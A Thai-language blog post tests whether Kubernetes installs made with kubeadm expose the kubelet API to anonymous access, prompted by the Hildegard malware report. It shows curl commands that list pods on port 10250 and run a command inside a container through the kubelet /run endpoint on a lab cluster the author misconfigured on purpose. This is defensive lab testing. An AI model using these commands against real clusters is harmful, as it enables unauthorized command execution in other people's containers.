มีข่าวหนึ่งเมื่อวันที่ 3 กุมภาพันธ์ 2564 เกี่ยวกับ Kubernetes จาก Unit42 ของ PaloAlto Network เนื้อหาก็ประมาณว่า มี malware ชื่อว่า Hildegard มุ่งโจมตี Kubernetes โดยเฉพาะ พออ่านลงไปในรายละเอียดของเนื้อหา จุดเริ่มต้นของการโจมตีในกรณีนี้ เกิดจากข้อผิดพลาดในการกำหนดค่า Configuration ของ kubelet เปิดให้เข้าถึงได้โดยไม่ต้องระบุตัวตน จากนั้นก็เรียกคำสั่งให้ทำงานใน container ผ่านทาง kubelet API และในเนื้อหายังบอกอีกว่า ถ้าติดตั้ง Kubernetes แบบมาตรฐานจะเปิดให้เข้าถึงได้โดยไม่ต้องระบุตัวตนเป็นค่าปกติ
Standard Kubernetes deployments come with anonymous access to kubelet by default.
"งานเข้าล่ะ" คำแรกที่อยู่ในหัวตอนที่อ่านข่าวนี้ เริ่มตั้งถามหลายข้อในหัว แล้วค่อย ๆ ไล่หาคำตอบจนคิดว่า น่าจะสบายใจแล้ว
- จะรู้ได้ไงว่า kubelet เปิด anonymous access อยู่
- จะเรียกใช้งานคำสั่งให้ทำงานใน container ผ่านทาง kubelet API ได้อย่างไร
จะรู้ได้ไงว่า kubelet เปิด anonymous access อยู่
ไปเจอใน github Liz Rice VP Open Source Engineering at @aquasecurity เขียนไว้
วิธีการการทดสอบ
curl -sk https://<node_ip>:10250/pods/
- ถ้าได้ status code เป็น 401 และมีข้อความตอนกลับมาว่า Unauthorized แสดงว่า ค่า --anonymous-auth ใน kubelet configuration เป็น false อยู่
- ถ้าได้ status code เป็น 403 และมีข้อความตอนกลับมาว่า Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy) แสดงว่า ค่า --anonymous-auth ใน kubelet configuration เป็น true และ --authorization-mode เป็น Webhook
- ถ้าได้ข้อมูลของ Pod แสดงว่า ค่า --anonymous-auth ใน kubelet configuration เป็น true และ --authorization-mode เป็น AlwaysAllow
จะเรียกใช้งานคำสั่งให้ทำงานใน container ผ่านทาง kubelet API ได้อย่างไร
วิธีการการทดสอบ
curl -ks -X POST https://<node_ip>:10250/run/<namespace>/<pod>/<container> -d "cmd=<command>"
ระบบที่ใช้ในการทดสอบ
- Kubernetes version 1.15.2 และ 1.20.2 (ล่าสุด ณ.วันที่ 6 กุมภาพันธ์ 2564)
- ติดตั้ง Kubernetes ด้วย kubeadm
- node จำนวน 2 nodes มี ip เป็น 192.168.254.74, 192.168.254.75
root@cp0:~# kubectl get nodes -o wide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
cp0 Ready master 14h v1.15.2 192.168.254.71 <none> Ubuntu 20.04.1 LTS 5.4.0-51-generic containerd://1.3.3-0ubuntu2.2
node0-0 Ready <none> 14h v1.15.2 192.168.254.74 <none> Ubuntu 20.04.1 LTS 5.4.0-51-generic containerd://1.3.3-0ubuntu2.2
node0-1 Ready <none> 14h v1.15.2 192.168.254.75 <none> Ubuntu 20.04.1 LTS 5.4.0-51-generic containerd://1.3.3-0ubuntu2.2
ทดสอบหลังจากติดตั้งทันที
#[at control plane]
root@cp0:~# curl -sk https://192.168.254.74:10250/pods/
Unauthorized
ผลการทดสอบพบว่า ไม่สามารถเข้าถึง kubelet โดยไม่ต้องระบุตัวตนได้
ตรวจสอบ kubelet configuration ในส่วนของ Authentication และ Authorization
#[at node0-0]
root@node0-0:~# cat /var/lib/kubelet/config.yaml |grep -A 12 authentication
authentication:
anonymous:
enabled: false
webhook:
cacheTTL: 2m0s
enabled: true
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: Webhook
webhook:
cacheAuthorizedTTL: 5m0s
cacheUnauthorizedTTL: 30s
พบว่ามีการกำหนดค่าในส่วนของ Authentication และ Authorization ไว้
ทดสอบตั้งค่า Authentication เป็น false และ Authorization เป็น AlwaysAllow
#[at node0-0]
root@node0-0:~# cat /var/lib/kubelet/config.yaml |grep -A 4 authentication
authentication:
anonymous:
enabled: true
authorization:
mode: AlwaysAllow
root@node0-0:~# systemctl restart kubelet
#[at control plane]
root@cp0:~# curl -sk https://192.168.254.74:10250/pods/ | jq |head -n 15
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "weave-net-27v7f",
"generateName": "weave-net-",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/weave-net-27v7f",
"uid": "93ac4298-5eb7-497f-b914-9c4183230050",
"resourceVersion": "72856",
"creationTimestamp": "2021-02-05T07:35:15Z",
"labels": {
พบว่า สามารถแสดงรายการของ Pod ใน node นั้นได้
เรียกคำสั่ง hostname ที่ Container testcon ใน Pod testpd ผ่านทาง kubelet API
root@cp0:~# curl -ks -X POST https://192.168.254.74:10250/run/default/testpod/testcon -d "cmd=hostname"
testpod
ทดสอบลบ kubelet configuration ในส่วนของ Authentication และ Authorization ออกทั้งหมด
#[at node0-0]
root@node0-0:~# cat /var/lib/kubelet/config.yaml | grep authentication
root@node0-0:~# systemctl restart kubelet
#[at control plane]
root@cp0:~# curl -sk https://192.168.254.74:10250/pods/
Unauthorized
พบว่า ไม่สามารถเข้าถึง kubelet โดยไม่ต้องระบุตัวตนได้
สรุป
- ในการทดสอบ Kubernetes ทั้ง version 1.15.2 และ 1.20.2 ได้ผลการทดสอบเหมือนกัน
- ค่าปกติหลังจากติดตั้ง Kubernetes ด้วย kubeadm ไม่สามารถเข้าถึง kubelet โดยไม่ต้องระบุตัวตนได้
- ต้องกำหนดค่า authentication และ authorization ถึงจะเข้าถึง kubelet โดยไม่ต้องระบุตัวตนได้
authentication:
anonymous:
enabled: true
authorization:
mode: AlwaysAllow
- Hacker อาจจะมีวิธีการไม่สามารถเข้าถึง kubelet โดยไม่ต้องระบุตัวตนได้ ในรูปแบบอื่น ๆ ได้อีก
test [at] your own risk
Top comments (1)
ขอบคุณครับ